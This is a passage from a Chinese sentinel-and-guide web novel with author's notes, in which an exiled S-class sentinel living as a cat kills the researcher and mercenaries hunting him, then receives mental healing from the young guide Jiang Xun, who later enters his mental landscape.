庞克一惊，一时之间没来及收起情绪，那雇佣兵一看他的样子，紧接着逼问道：“我们和你签的协议是保护你的安全，可并没有其他的条款。你需要我们处理的真的只是一些野兽？你到底是来这里干什么的？真的只是来调查一个信息？” 庞克心下有些慌乱，生怕这两个唯利是图的佣兵就此撂挑子不干了，色厉内荏地厉声道：“你们难道要毁约？你们别忘了尾款还在我手上呢！我一个普通人研究员，还能来干嘛？静默日都过去那么久了，这里该死的都死光了，除了野兽还能剩下什么？” 那雇佣兵闻言，想了想，倒也觉得合理，于是压下了一些怀疑，但还是厉声警告道：“丑话说在前面，我们只是来赚钱的，不是来卖命的，要是让我发现有什么超出预期的危险，你别想我们会给你填命！” 庞克听了这话，愤怒地狠瞪了他一眼，看着那人眯起了双眼冷冷地看向他，却不敢再出声反驳，只得恨恨压下心头的怒火，低头再次摆弄起手上的仪器。 无人机在崖底徘徊一圈，次第上浮回返。庞克举起一个圆盘，一个个“核桃”从身体中伸出一支探头，将取样按顺序放入圆盘中阵列的取样口中。 庞克从携带的物件里取出一个书本大小的黑盒子，放在地上一按开关。黑盒子如花瓣绽放开来，部件一个个自动组装起来，不一会儿，一套小型的检测装置出现在了三人面前。 一到了他的专业领域，庞克明显游刃有余了起来，动作利落地把圆盘卡进了样本仓，仪器马上滴滴滴地运转了起来。 众多数据条目快速刷新出来，荧光映照在庞克脸上，他的眼睛随着数据的出现越来越亮。 没错，这些尸体的确是那人的杰作！ 庞克精神一振。 那人的精神毒素无法被化学方式检测出来，遗留下来的精神波动也随着时间的流逝几近流失，可这些尸体内还残留着一些中毒后身体自动释放出的排异因子，足以证明他的存在。 他找到他的踪迹了！ 想到这里，庞克一喜，可紧接着又紧张了起来。 虽然找到了他的踪迹，可是…… 看一眼崖底的尸山血海，庞克咽了咽唾沫，这么多的凶兽，都死在了那人手下，静默日来临的时候，他明显还没死啊！ 连静默日都杀不死他，难道他真的活到了现在？那他现在在哪儿？ 越想越害怕，庞克额上冷汗涔涔而下。 正被庞克忌惮着的人，此时正趴在树梢上，借着宽阔的枝叶隐藏住自己的身形，隐蔽地盯向下方的三人。 看着他们在一番搜索之后，各自套上了一套全覆式防护服，绕过巨大的地裂，向着对面的崖顶走去。 几人在对话时压根没有顾忌，陆厌离听着几人的对话，看着他们身上明显有针对性的装备，心中有了些猜测。 那个文弱的研究员，在走上对面的崖顶之后，手中的仪器又更换了一个，低着头不知在捣鼓着什么。 陆厌离看着他们停下的地方，心中有了不好的预感。 “向导？！这里有向导！” 庞克看着手中急促发出警报的仪器惊讶出声。 这个山头是这片范围内检测出的精神波动中最清晰的一处，他原本想着试试看，能不能在这里找到一些那人残留下来的精神波动，得到更多的信息。 没想到，残留下来的精神波动的确被他找到了，可结果却与他的目的大相径庭。 他的面色马上急了起来。 “这里怎么会有向导？不可能！” 伴随在两侧的两个佣兵听到“向导”两字也是一惊，但并不清楚事情严重性的他们并不明白对方为什么这么震惊。 庞克手有些抖，看着眼前检测出来的结果，又想到失去了消息的哨兵，一个可怕的想法浮上心头。 不会的！联盟这么多年以来，出现过多少个向导？没有一个能与那个人匹配上治疗他。现在怎么会这么巧，突然冒出一个向导，就能与他匹配上？！ 咬了咬牙，庞克蹲下身去，把仪器凑近地面，仔仔细细地把这片区域上残留下来的数道精神波动全部检测了一遍，再次看向检测结果。 各色数据一条一条出现，庞克看着这些数字，脑中飞快计算起来，良久，才缓下了脸色。 这精神力按照属性来看的确来自向导，可它不是正常的向导使用技能时残留下的。 这些精神波动散乱而剧烈，不比寻常的向导精神力稳定而平和，反而具有相当的冲击性，倒像是刚刚觉醒的少年向导第一次觉醒时出现的精神力风暴。 庞克心中安定了一些，虽然不知道这里为什么会莫名出现一个刚刚觉醒向导能力的小孩子，可这样的初生向导绝不可能成功安抚一个重度失控的S级哨兵。 不过，保险起见，这个孩子不能留。 庞克心中一转，已然有了决定，心下不由有些唏嘘。 在外间随便哪里，只要能觉醒向导能力，最差也就落得个为人所控的结局，性命待遇还是能保证的。可你在这种地方觉醒了向导能力，还撞上了我们，那只能怪你运气不好了！—— 作者有话说：顺利下夹，谢谢宝宝们的鼓励[比心][比心] 之后开始正常晚6点更新啦，日常是日六更，要是存稿多了，或者遇到什么好榜，会看情况加更！ 希望我们寻寻和猫猫能陪伴大家渡过一段愉快的时光[彩虹屁] 再次感谢一直以来支持着我的各位小天使们！[红心][红心] 第53章 领头的佣兵时刻关注着庞克的动静， 一见他面色不对，马上追问道：“出了什么问题？” 庞克站起身来，眼睛紧盯着仪器上显示出来的方向：“小问题， 发现了一只小虫子， 需要你们处理一下。” 雇佣兵面露不满：“这不在我们的协议内！” 庞克不愿与其纠缠， 利索地吐出两个字：“加钱！” 两个佣兵对视一眼，领头的皱眉再次与庞克强调道：“是一个向导？那不可能！我们要是和他动手，马上会被他的核心上报的， 我们可不想因为一次任务招惹联盟！” 庞克按耐下不满， 解释道：“应该不是登记在案携带着核心的向导，是一个刚刚觉醒的孩子。死在这里只有天知地知，你知我知。” 两人听到只是一个刚觉醒的孩子，这才舒缓了面色，踌躇片刻，答道：“行！我们干了！但是我丑话说到前头， 如果真的只是一个孩子和一些野兽， 那我们就按照协议来。如果你还隐瞒了其他的情报， 那就别怪我们到时候翻脸了！” 庞克心头火起，迫于形势却不能发火， 面色阴沉沉地应了声，心里暗嗤， 到时候可由不得你们。这才带着两人顺着仪器上指示出来的方向走去。 陆厌离跟在后面，将三人的对话尽收耳中， 眼底杀意沉沉，顺着他们的脚步跟了上去。 山顶这一段路视野开阔没什么遮蔽，陆厌离只能远远地吊在几人身后，直到三人步入了林木之中这才悄无声息地缀上几人。 着重观察了一番对方携带的枪械和身上穿着的全覆式防护， 陆厌离心里明了了对方的来历。 能瞒天过海潜入寂静星，又明明白白是冲着自己来的人，也就只有那么一个了。 陆厌离眼底晦涩，情绪翻涌。 你冲着我来怎么报复我都接着，但是江寻不行，绝对不行！ * 自进入林中以后，三人的速度再次慢了下来。 本来月光就不太明亮，被高大的林木一遮，挡了大半，只余斑斑点点洒落下来，晃得庞克眼晕。 林间路况复杂，障碍干扰极多，不时出没的野生动物也让三人走得磕磕绊绊。 仪器探测到的残余精神波动也随着他们的深入越来越难以识别。 好在庞克一开始便定位到了最近的一处临终静室，想来若是那人和那个小向导侥幸存活下来，一定不会离静室太远，向着那个方向走，肯定能找到一些线索。 庞克一心关注在手中的仪器上，没有发现跟着他的两个雇佣兵，已经不再说话，面色沉沉，额上冒汗，神情紧张。 “头儿，你感觉到了吗？”脾气比较大的那个壮汉此刻也没了刚才的威风，疑神疑鬼地左右探视着，对前方的头领说道。 “有什么东西在看着我们，保持警戒！”前方的人影头也不敢回，常年的雇佣兵生涯让他的感觉极为灵敏，不知何处而来的杀意一直轻飘飘地萦绕在他们身上，可视野里却始终什么也没发现。 这种状况让他想起某些不好的记忆，全身肌肉都紧绷了起来，注意力集中在周围的环境上。 忽然，一道光斑从左前方晃了过来，从他眼前一闪而过。 “敌袭！”领头的佣兵大吼一声，在这道光线骤然闪现的时候，不但没有闭眼躲避，反而睁大了双眼看向光芒袭来的方向，同时脚下一蹬身体伏低，鞋子上的喷气孔猛然喷射出一股力量助力，整个人急速向着光芒的源头就窜了出去。 位于最后方的壮汉虽然没有领头这么快的反应速度，但对于自己老大的信任还是让他第一时间就架起了枪，指着头领突进的方向就要跟上支援。 只有站在两人中间的庞克，完全没有反应过来发生了什么，茫茫然地抬起了头，看向突然动作起来的两人。 就在三人的注意力都被前方的光斑吸引的那一刻，一条黑影悄无声息地从几人身后出现，落地无声却如闪电般倏然闪现在那全副武装的壮汉侧后方。 一道裂帛声骤然从三人身后响起，随即，一声惨叫响彻丛林。 不好！上当了！ 最前方的佣兵心下一紧，猛然回头看去，正看到自己的队友面色惨白地向前扑倒，后脖颈处寒光一闪，一蓬鲜血迸射而出。 血雨泼洒在空中，透过这层血雾，他与一双森寒冷冽地墨绿兽瞳直直对上，下一刻，他的脑中如被钟撞，“嗡”一声便一片空白。 精神攻击！ 他的脑子在骤然而来的精神攻击下暂停了运转，可身体的记忆与求生的本能支撑着他，让他没有当即晕过去，仍然做出了一个随时沐浴在生死之间的雇佣兵应有的反应。 他膝盖一弯身子一矮，避过了后续可能袭来的二次攻击，手掌一抬，就要向着那双兽瞳开火。 可那兽瞳的主人一见没有在一个照面里放倒他，丝毫没有犹豫，身子一转就向着右方折了过去，正正好躲进了仍然站立在两人中间的庞克身后。 “操！”那头领眼见着一个晃眼间，那个黑影就躲进了自己的视角盲区，恨恨骂了一声，手中的枪却丝毫没有放下，依然跟着黑影的动向移向了庞克的方向，对着那个仍然傻乎乎站着的人大吼一声。 “趴下！” 眼见着枪口朝向了自己，庞克终于反应了过来，惊叫一声就要应声趴倒，眼角余光却见身后猛然隆起一道巨大的黑影，居高临下地把他笼罩在了下面。 巨大的恐惧袭来，庞克肝胆俱裂，目眦欲裂地凝望着地上越来越大的黑影，浑身被骇得无法动弹，心中克制不住地升起悔意。下一秒，身后袭来一阵飓风，他脑袋一轻，视角不由自主地旋转起来，看到了身后的情景。 一只足有他脑袋大小，缠绕着黑灰火焰的兽掌从他身后落下。爪尖的火焰猛然升腾而起，向后凶猛蔓延，把身后的来客团团包裹进一大蓬不详的黑灰烈焰之中。 下一刻，一只目似铜铃，鬃毛飘扬的巨大狮子头从火焰中凶猛突出，眼神森寒地睨了他一眼，随即仰天大吼一声。 是他……庞克的脑海中划过一个了然的名字，下一秒，彻底黑暗了下去。 头领眼见着一夕之间，雇主便身首分离，面色狰狞地抬着枪，正要对着那从庞克身后渐渐露出的身影按下扳机，却听一声震彻山林的怒吼响起。 剧烈的声波把缠绕在庞克身后的巨大烈焰瞬间震散开来，一只黑灰色浑身缭绕着火焰余烬的巨大雄狮从中一跃而出。 无形的力场倏然撑开，空气都被某种看不到的力量压得扭曲起来，一股甜腻的古怪味道飘散开来。 这熟悉的模样，如传闻中一样的表现，让头领面色瞬间惨白，心中浮现出一个如雷贯耳的名字，浑身剧烈颤抖起来，小小一个扳机却再无按下去的勇气。 “蚀……蚀王陆厌离？！” 头领不可置信地嗫嚅出声，再也升不起一丝反抗的力气，心中突然恍悟为什么一次普通的保护任务，对方居然能开出那么高的报酬。 可此时再后悔也来不及了，求生的欲望让他再也顾不得什么任务与队友，一抖手丢下手中的枪转身便跑。 可他一个普通雇佣兵，即使有装备加持，又哪里比得过一个S级哨兵的速度。 那灰狮一见对手连唯一能对他造成一些伤害的武器也丢了下去，再无一丝顾忌，三两步追了上去便结果了最后一人的性命。 至此，不到两分钟的时间，一行三人便永远地留在了这个暗无天日的森林之中。 待最后一人在爪下咽了气，陆厌离这才身形一虚，巨大的狮子躯体迸散开来，重新凝聚成猫儿身形。 他摇晃了一下，深深喘了一口气，脑中的刺耳噪音这才被屏蔽了下去。 他远没有恢复到能够随意变换形态的地步，刚才也是强行化为成熟体，想要凭借身躯之利第一时间先干掉一个人，再利用环境游击偷袭解决掉剩下的两人。 谁知对方却是被自己现出的外貌吓破了胆，他见此情况便顺势而为，果然吓得对方直接弃枪而跑。 其实他也只有最开始那一击的力量，只要对方对着他开上一枪，便能直接把身上这层空壳击穿。若是刚才在这里的是他以前的战友又或是其他高级任务里遇到过的对手，那鹿死谁手还犹未可知。可惜对方只是个普通雇佣兵，恐怕连真实的星际战场都没上去过，一个照面就被虚假的幻影击破了心防。 陆厌离摇了摇头，想到了背后的那人。 那人毕竟一直生活在联盟中心区域，即使自身也是个踏入了高级门槛的哨兵，没有经历过军事行动，在这方面的见识上便永远差了一层，也触不到联盟真正的高端战力，手下能用的只有这些不入流的佣兵。 所以他面对对方的多次陷害才一直不以为意，以至于大意之下，真的被对方抓住了漏洞，放逐在了这寂静星上。 以前对方对自己动手，看在大哥的情分上，自己可以轻轻放过，可这一次，他的身边有了江寻，他不可能再任由对方出牌了！ 陆厌离仔细在三具尸体上搜索一通，把寻找出来的通讯定位装备统统摧毁，又拖着三人的尸体，丢下了山崖，这才顺着来时的路再次回到了登陆舰上。 没法通过生物检测拿到控制权限，陆厌离暂时歇了用这个登陆舰带江寻离开的念头。破坏掉舰艇上的通讯装置，用树枝草叶大概把它藏匿了起来，便向着家的方向回返回去。 天边晨光微熹，新的一天，来到了。 * 天光微亮，江寻就醒了过来。 一睁开眼睛，马上便清醒了过来。 他一向是个谨慎的人，昨天在外边发现了小树的异状就直接回了家，虽然睡前已经检查过了屋子的安全，还是下意识地早早醒了过来。 一清醒过来，江寻没急着马上起床。扭头看向四周，没发现任何异状。耳边也静悄悄的，没有什么可疑的声音，这才安下了心来。 一放松下来，就第一时间感受到了臂弯里的重量。 下意识地反手抹了一把，不同于寻常的寒凉，让他眉头一皱。 伸指捻起搭在臂上的长毛搓了搓，冰冷冷的，还泛着点儿潮。 江寻眉头一拧，就着昏暗的光线看向怀中。 小树身上的长毛拧成一缕缕的小撮，完全不像平日里刚睡醒时，松软又蓬松，摸上去也冰凉凉的泛着冷意。可它整只猫却毫无所觉地睡得香甜，连自己起身都没有丝毫被吵醒的迹象。 江寻打量片刻，见它浑身毫发无损，这才按下疑问，抽出压在猫猫身下的胳膊，拉起被子重新把它团团裹好，悄无声息地下了楼。 再次检查了一遍屋子，又开了大门，环着门口的生态缓冲带检查了一圈，没有发现任何异常，这才安下心来。 昨天奔波了一晚上，又超负荷地暂时使用了一次成熟体，陆厌离的精神力所剩无几，一躺进熟悉的被窝里就沉沉睡了过去，待他迷迷糊糊地再次睁眼，阳光已经洒满了房间。 安静的房间，刺在眼球上的亮光，身上冰凉凉的触感，这样曾经很熟悉的感觉，让原本渐渐褪色的记忆在这一刻统统甦醒了过来。 耳边似乎飘来模糊的平直机器声，在通报着一个个数字，鼻尖仿佛闻到了熟悉的隔离液的冰冷味道，踢踢踏踏的脚步声在远处来来回回。他的身体自动回忆起了每次清醒过来时的疼痛感，阵阵隐痛从骨头缝里透出来，持续地刺激着他的大脑，让他迅速地清醒了过来。 窒息感袭来，陆厌离猛然睁开了眼睛，大口喘息起来。 惊惧地睁大眼睛看向四周，待看清了身处的环境，怦怦跳动的心脏这才重新安定了下来。 这一清醒，身上的疼痛感就更加明显了起来，陆厌离这才发现，刚才恍惚间感受到的疼痛并不是虚妄。 昨夜的回忆浮上心头，陆厌离深吸一口气。这是身体短时间内多次骨骼肌肉变化带来的痛楚。这种程度的疼痛，对于普通人来说是难以忍受的。可他曾经常年处于任务状态之中，这种程度的疼痛早已让他习惯。 对于哨兵来说，能感受到疼痛就已经是很好的事了，疼痛让他清醒，让他知道自己又活过了一天，这样的疼痛甚至让他有些痛快上瘾。 可现在却由不得他继续躺着细细感受了，门外一个脚步声正在渐渐逼近。 熟悉的声响，让陆厌离眨了眨眼睛，目露期盼地看向了门边。 房门在它殷切的目光下被推了开来，熟悉的气味袭来，陆厌离身上一轻，被来人掀开被子捞进了怀里。 “醒来了怎么还不起来？”江寻捏捏猫猫的鼻子，“昨天晚上干什么去了这么困？” 听到问话，正伸着爪子要抱的猫猫微不可见地顿了一下，接着头也不抬地继续搂上江寻的脖子，软软地叫唤起来。 江寻无奈地轻嗤一声，他就知道猫猫又想混过去。猫猫的小秘密这么多，当老父亲的又能怎么办呢？ “都大中午了，还不饿吗？”说着江寻就要把小树抱起来下楼去吃饭，还没站起身却被身上的力量又压了下来。 只见猫猫团身一窜，就从江寻的肩头跃了过去，重新落在了床上。 起跳时在肩膀上踩的那一下，让江寻重心不稳，后仰着倒了下去，摔在了床上。 江寻莫名其妙地仰头看向居高临下盯着他的猫猫，还没问出口，便被对方一脑袋怼了上来，埋进了一片毛茸茸里。 长长软软的毛毛搔得他的脖子痒痒的，江寻克制不住地闷笑出声，抬手卡住头顶猫猫的腋窝，转了个圈把它举在了自己面前。 “怎么了这是？一醒来就这么黏人啊？”江寻被逗笑，彻底放下了小树的隐瞒，笑着调侃。 却见小树被抓住了还不消停，伸着爪子够着他。 江寻不明所以，却还是拉近了距离，放开手看看猫猫要做什么。 小树得了自由，再次凑近，在他身上使劲磨蹭起来，满身的长毛在它的动作下乱糟糟地炸开。这么蹭了几下之后，又抬起江寻的手往自己身上放。 来回几次，江寻终于明白了它的意思。 “要我给你梳毛？”江寻奇怪地问道。 见江寻终于懂了自己的意思，小树忙点了点头，又把自己往江寻的手下塞。 江寻稀奇地看着猫猫，奇怪了，以前每次梳毛，它的反应都很大，每次都是江寻抓着它给它梳理的，它自己从没主动过，今天这是怎么了？ 脑子一转，江寻又想到了什么。 念头一动，一根透明触须被凝聚了出来，悬浮在空中晃晃悠悠，对着猫猫的方向蠢蠢欲动。 “是要这个？”江寻试探地摇了摇触须。 猫猫有点畏惧地看了一眼悬浮在不远处的触须，眼里溢出些羞恼畏惧，却再次点了点头，还主动往触须的方向斜了斜。 陆厌离原本以为自己都已经被放逐到了这里，对方已经完成了复仇，不会再有后续动作了。可昨天的遭遇却告诉他，即使在寂静星上，对方也一直在监视着他。 昨天来的只是几个小虾米，但他们的失踪，一定很快就会被发现，到时候他们再要面对的，就不会是那么两三个对手了。他必须在那之前尽可能的恢复战力，现在已经来不及让他慢慢恢复了。 江寻懂了猫猫的意思，心下一转，恍然明白了原因。 也许昨天真的在自己不知道的情况下发生了什么状况，逼得小树着急了。 自从知道他的能力可以治疗小树之后，他一直都想全力为它治疗，先把它治好再考虑其他。是猫猫一直担心他的状态，每次都点到即止。自己看着猫猫的反应特别剧烈，每次也就依着它。 如今虽然还不知道发生了什么，让小树改变了想法，但它主动要自己治疗了，那就是好事。 不想让猫猫反悔，江寻马上抱起了小树，和它一起侧身歪倒。 一根根粗壮活泼的触须凭空而生，像花瓣一样次第张开，将两人接住，团团包裹在了里面。 数根细软一些的透明触须，顺着江寻的手腕攀援而上，爬上猫猫的身体，在它身上自由地纵横交错，在猫猫的颤抖呻|吟中肆无忌惮地游移裹缠。 猫猫整个缩成一团，艰难地呼吸着，紧紧依偎着江寻细弱地颤抖起来，口中发出无声的叫喊。 江寻一边抚着猫猫的脊背为它缓解刺激，一边又毫不留情地将触须一根又一根地缠了上去。 于此同时，从一人一猫身上逸散而出的两种精神力，在同一时间活跃了起来，彼此亲密地触碰、交缠、融汇，江寻再次感受到了奇妙的空濛感。 闭上眼睛，江寻毫不反抗的任由这种奇妙的感觉将他扯了进去。 一人一猫紧紧抱在一起，四肢缓慢地摩挲在一起，卧室里弥漫起暧昧的氛围。 直到江寻再次把自己的力量用得干干净净，这才半昏半睡地沉入了梦乡。 第二天醒来时，脑袋和宿醉似得疼痛不已。 猫猫大概也看出了他今天的状态不好，没有再缠着他梳毛，乖巧地陪他窝在被窝里，任由他亲亲摸摸了个够，这才起了床。 直到下午，江寻感觉自己的状况回复了一些，这才再次抓着猫猫为它治疗了起来。 这样的模式持续了好几天，小树的精神状态越发好转起来，可江寻却日渐萎靡了下去，恢复的时间开始越来越长。 陆厌离像寻常一样叼着玩具，四爪扑腾着从大厅一溜儿烟跑回来，却见江寻再次难受得皱起了眉头，撑着头靠在沙发上闭起了眼睛。 放下口中的小玩意儿，陆厌离担心地凑近过去，看着他难受的样子，忙把自己的脑袋顶上去。江寻很喜欢抚摸他，每次和他玩儿一会儿，心情就会变好一些，精神力也能恢复地更快一些。 可这一次，江寻却好像失神到根本没有感受到他的讨好，让他磨蹭了半天才恍然抬手搭在了他的脑袋上。没抚弄几下，又慢慢停下了动作。 “爸爸有点困了，小树自己玩一会儿，我先去睡一会儿。”江寻揉着太阳穴，尽量露出笑容不想让小树担心，说完便扶着栏杆上了楼。 陆厌离紧追几步，看着对方消失在了楼梯口，心下紧绷。 江寻的精神力消耗速度跟不上恢复了。 可能是他的向导潜力等级不高，精神力总量过少；也可能是缺乏知识，成长的速度太慢，他疏导时能够坚持的时长越来越短，集中疏导了这么几天，精神力便明显跟不上了。 匮乏症的恶化速度，明显高于他印象中在愈灵殿里工作的公共疏导师。 这是陆厌离之前极力避免的情况，精神匮乏的时间长了，症状会一步步加深，特别是对于还在成长期的向导来说，精神匮乏不仅会让他们身体和精神上产生不适，更会对他们的后续成长带来深远的影响。 还是太勉强了吗？陆厌离抿了抿唇。 如果不是如今情况紧急，他是无论如何不会让江寻在没有补偿的情况下，这样超负荷地使用精神力的。 补偿……要怎么补偿…… 陆厌离思绪被搅得混乱，各种念头纷至杳来。 猫形态之下，带来的愉悦感太少了，根本无法支撑如今的精神力消耗。他所知道的补偿方式，都是发生在正常的哨兵向导之间的…… 想到这里，陆厌离脸一红，甩了甩头。 精神力不够，就无法恢复人形；无法恢复人形，就不能有效补偿；不能有效补偿，精神力就会不够。这简直形成了一个死循环。 如果不能破局的话，这样的状况就会一直恶化下去。之后即使他愿意给江寻补魔，可能也无法做到了。 要不要，试一试？—— 作者有话说：倒计时啦！[星星眼] 第54章 陆厌离去楼上看了一眼江寻， 确定他已经熟睡过去。脚步轻悄地下了楼，再次来到了地下一层的束缚室。 之前，他曾经在这里接受药物注射用来控制自己的力量， 回来以后， 状况慢慢好转， 便没有再来过这里。这一次，他要再次用到这里屏蔽精神力波动的作用，来做个试验。 陆厌离将房门紧紧封闭起来， 站在屋子正中放松下来。 下一秒， 无形的精神力场在房间中肆无忌惮地扩散开来，又被特殊的墙壁严密地封锁束缚住。力场受控之下无法扩张开来，内部的精神力密度肉眼可见的增高。 越来越密集的精神力，挤压的空气都开始扭曲了起来，像是燃了火一般跳动。 直至浓郁的精神力达到了某个峰值后，逸散在空气中的精神力猛然回落， 川流入海般回滚向中间， 从四面八方冲入陆厌离的身体。 巨量的精神力冲击下， 陆厌离的身体被冲撞地东倒西歪。在某一个瞬间，被来袭的精神力撞入的皮肉， 忽然在这个刹那震颤崩碎成灰雾，又马上重新凝聚了起来。 陆厌离脸上现出痛楚， 脚步踉跄一下，再次站稳， 直面再次冲击而来的精神力潮水。 一波一波的浪潮打在他身上，小小的猫咪身体上开始不停上演崩碎又凝聚的戏码。崩碎的频率越来越快，范围越来越大。 终于，在一波巨大的精神力冲击之下， 陆厌离的整个身体都崩碎了开来，化为一团不停扭动的灰雾。 灰雾沉浮在房间正中，不停左突右撞，扩散得越来越大，颜色也变得越来越浅。雾气在变化间从中间鼓胀起来，浮现出五个凸起。 这五个凸起游移着不停调整着位置，越来越像人类四肢与头颅的形态。就在它即将形成左右对称的形态的那一刻，一股精神力乱流再次冲击而下，从它的右后方毫不留情地横穿而过。 即将成型的灰雾被这股精神力所扰，瞬间打散开来，失去了形状，颜色也快速变淡起来。 过了许久，被打散的灰雾才速度缓慢地再次凝聚起来。重新聚集起来的灰雾颜色浅淡了许多，失去了活力，肉眼可见地萎靡下来，没了扩散开来的力气，终于在几次摇晃后，不甘心地再次凝缩成一团颜色深沉的黑灰雾气。 而后无形的雾气再次向内汇聚凝结，现出小猫的身形来。 此时的小猫已经没了刚才的精气神，蔫蔫地趴在地上快速喘着气。 可恶！就差一点儿！ 陆厌离心下可惜，受控的精神力总量还是太少了，稍微受到一点儿干扰，变化就失败了。可是……有希望！ 陆厌离喘着粗气，眼睛却明亮起来。 如果不计较人形的战力，只是转化回人形态的话，凭他现在的精神力水平，有希望成功！ 陆厌离心下稍松，再尝试几次，一定要在江寻进入中度匮乏状态之前成功！他暗下决心。 这边厢，江寻丝毫不知道自家猫猫的打算，这几天的集中使用能力，虽然累了一些，可这种程度对于经历过996工作的职场人士来说，也还能坚持下去。 而且频繁地使用能力，虽然让他的恢复速度变慢，可这里面还有一些其他的原因在其中——江寻能明显地感觉到，自己的能力总量变多了。 他的恢复速度其实没有变慢，只是因为能力总量扩张的速度过快，导致每天把能量用尽之后，需要恢复的数量也越来越多。这样表现在外在上，便好像状况越来越糟糕了。 除了能力总量在急速扩张，频繁地使用能力，也让他调动使用起能量来，更加得心应手了起来。 他能明显发现自己的治疗速度变得越来越快。以往需要半个小时一个小时才能完成的治疗，如今在总量变大的情况下，花费的时间却越来越短了。往往不到十五分钟时间就能完成一次全力治疗，把体内的能量全部消耗殆尽。 江寻对如今的状况非常满意，时间就是金钱，效率就是生命。 现代社会养成的习惯，让他做起事来时刻把提升效率放在第一位。 肉眼可见的成长速度，也让他每天都充满了干劲。 不过，最近他感觉自己的提升好像到了一个瓶颈期。 现有的几种能力，他都在高频次的练习里熟练掌握了，使用效率也达到了一个瓶颈，提升起来没有一开始明显了。剩下的就是磨时间的阶段，重复的练习与意料之内的提升，让他的积极性下降了不少。 也许是时候琢磨一下下一步的目标了？ 琢磨着能力下一步的练习方向，江寻不自觉地想起了他刚刚觉醒能力的时候。 他记得，那时他在现实里晕了过去，意识却被拉入了一个神奇的地方，还在那里看到了奇怪的庄园和被藤条裹缚住的小树，那里是什么地方？ 江寻脑子一转，也许小树知道？ * “觉醒的那天进入的地方？” 这天，陆厌离仍如往常一样，在江寻的膝盖上团团卧下，等着熟悉的触须出现，却被江寻抓住问道。 稍稍回想一下当时的情景，陆厌离马上明白了过来，他问的是精神图景。 想到精神图景，他稍稍有些羞惭。 精神图景是每个哨兵内心最深处具象化的精神世界，也是他们最真实的精神状态的体现，其中往往隐藏着许多私密的信息，除了最信任的朋友、伴侣，一般不会允许其他人进入。 那天也是情况特殊，他已经失去了理智，精神图景也崩溃在即，内部屏障几近于无，这才被江寻这样一个刚刚觉醒的新向导闯了进去。 正常情况下，就算是哨兵主动向向导打开壁障，施行的向导也要起码具备B级以上的几个向导技能，才能成功踏足。 像现在这样的情况，即使自己想展示给江寻看，凭他的能力，也是没法进去的。 想到这里，陆厌离忽然一楞。 在心底细数一下江寻迄今为止通过自学学会的几种技能，恍然发现，虽然无法进入他的精神图景，可他努努力，似乎能达到精神图景浅层疏导的最低要求。 只要他能够通过浅层精神链接，领悟到深度精神链接的话。 陆厌离再次细细琢磨一番。 没错，只要自己不抵抗，江寻就可以尝试看看。浅层疏导除了消耗的精神力更多之外，即使失败也不会对向导带来什么危害。若是出现了意外，最多是自己会受一点伤而已。可对比起成功疏导带来的提升，这点风险完全在可以接受的范围内。 按照向导技能的划分，对精神图景的浅层疏导，属于C级向导技能。 这是一个综合性比较强的技能，要成功施行，需要同时具备C级向导技能深层精神链接；D级向导技能接触疏导以及D级向导技能精神感应。 而C级技能深层精神链接，又是D级技能浅层精神链接的进阶技能，已经学会浅层精神链接的向导，在长时间的练习后，一般都能成功领悟。 这几个技能，刚好都在江寻已经掌握的范畴之内，只要江寻能够从浅层精神链接成功领悟出深层精神链接，便能满足开启精神图景的最低要求。 想到这里，陆厌离不禁看向正等着他回答的江寻。 没想到，他一个刚刚觉醒的新向导，连一点儿关于向导训练的知识都不知道，却只用了这么短的时间，便触摸到C级向导的边边了。 这种学习能力，若是刚觉醒时便被塔发现，现在恐怕已经被几个高级向导争抢后收为弟子了。 江寻对小树提出了问题，却见它看着自己半天也没有一丝其他的表示。 正想着是不是这个问题太复杂了，它也不懂，又或者不能说，说不明白，却见小树回过了神来，在他膝上站起身来，扬起了脑袋对着他晃动起来。 看着它奇怪的动作，江寻的感应告诉了他答案。 他疑惑了一下，却没有迟疑，低下头来贴上了小树的额头。 调动起体内的能量，向往常一样抓住身周属于小树的能量，在他们之间架起了桥梁。 可随后的状况，与他平日里练习时一样，一点儿其他的变化也没有。 江寻疑惑地睁开眼睛看向小树。 只见小树眼睛转动，若有所思地思考了一下，歪了歪头打量起自己，眼神从上到下扫过，最后停留在了他的手指上。 江寻看一眼自己的手指，手掌向上摊开撑在了小树面前。 小树抬起前爪，“唰”一下露出了指甲，随后，轻轻在江寻食指上点了一下。 江寻手上轻微一痛，一滴血珠冒了出来。 这滴血珠出现的刹那，小树的瞳孔似乎涨缩了一下，鼻子也凑过去，长长吸了一口气，随即舌头一卷，便把那滴血珠裹进了嘴里。 闭着眼睛停顿了片刻，再次把脑袋伸了过来。 江寻如刚才一般贴了上去，再次调动起自己的能量缠住小树。 在两人的能量融汇的那一刹，一股似曾相识的拉力凭空浮现。 江寻感觉心口一紧，意识便脱离了身体，被拉入了一个神奇的地界。 * 江寻周身一明一暗，意识便被拉扯进了一个奇妙的地界。 这一次，他进入这个地界时，神志非常清醒，终于有时间去好好探究个究竟。 他神奇地凭空悬浮着站在这片空间中间，四周灰暗一片，像是被一层厚厚的迷雾笼罩着，最大的光源来源于他自己。 江寻低头看向自己的身体，却没有看见熟悉的手臂身躯。自己此时毫无人形，整个身体就是一个泛着莹莹光芒的白色光团。 光团的形状并不稳定，随着他的意识不时鼓动着凸起又凹陷。 他想象着现实里人体的模样，光团缓慢改变着形状，像一团泥似的被捏出个大致的模样便无法再继续变化下去了。 江寻见此也不勉强，不再关注自身的模样，把注意力投向周围的环境。 这不知天地的地界无上无下，混沌一片，有不知从何而来的风不时吹拂。 盘绕在他身边的灰雾，被阵阵轻风不停撕扯着，散如流云。 江寻指挥着光团向着风的源头漂浮，能感受到风力在靠近他时产生的推力。可这些风碰到了他就像雪花碰到了火焰似得，离得越近风力越小，直到触到他身上时，已经消弭于无形。 江寻悬浮在空中，像根定海神针似的屹立，混乱的乱流流经他身边都会消失无踪。 忽然，江寻发现周身的迷雾之中，似乎还混杂着什么东西。 他凝神细望，这才发现，有无数细小的雪花大小的黑灰灰烬，混杂在流动的灰雾中沉沉浮浮。 这些灰烬漂浮的路线十分奇特，是从下方往上缓慢扬起的。江寻抬头看去，这才发现，头上无限远处，有一团朦朦胧胧的淡色光圈。这些漂浮的灰烬，像是被光圈外的什么东西所牵引，无论如何飘散，最后都会被拉扯着，从四面八方缓慢投向光圈，再在光圈中心没了踪影。 江寻看着这些灰烬越看越眼熟，他的目光顺着灰烬的来处往下望去。寻找了良久，终于在一个方向，发现了一大片朦朦胧胧的光影。 在他看到那片光影的瞬间，他的心神便被其吸引了过去，等再回过神来，已经飘到了光影面前。 他这才发现，远远看到的一片光影，原来是范围广大的一片巨大区域。 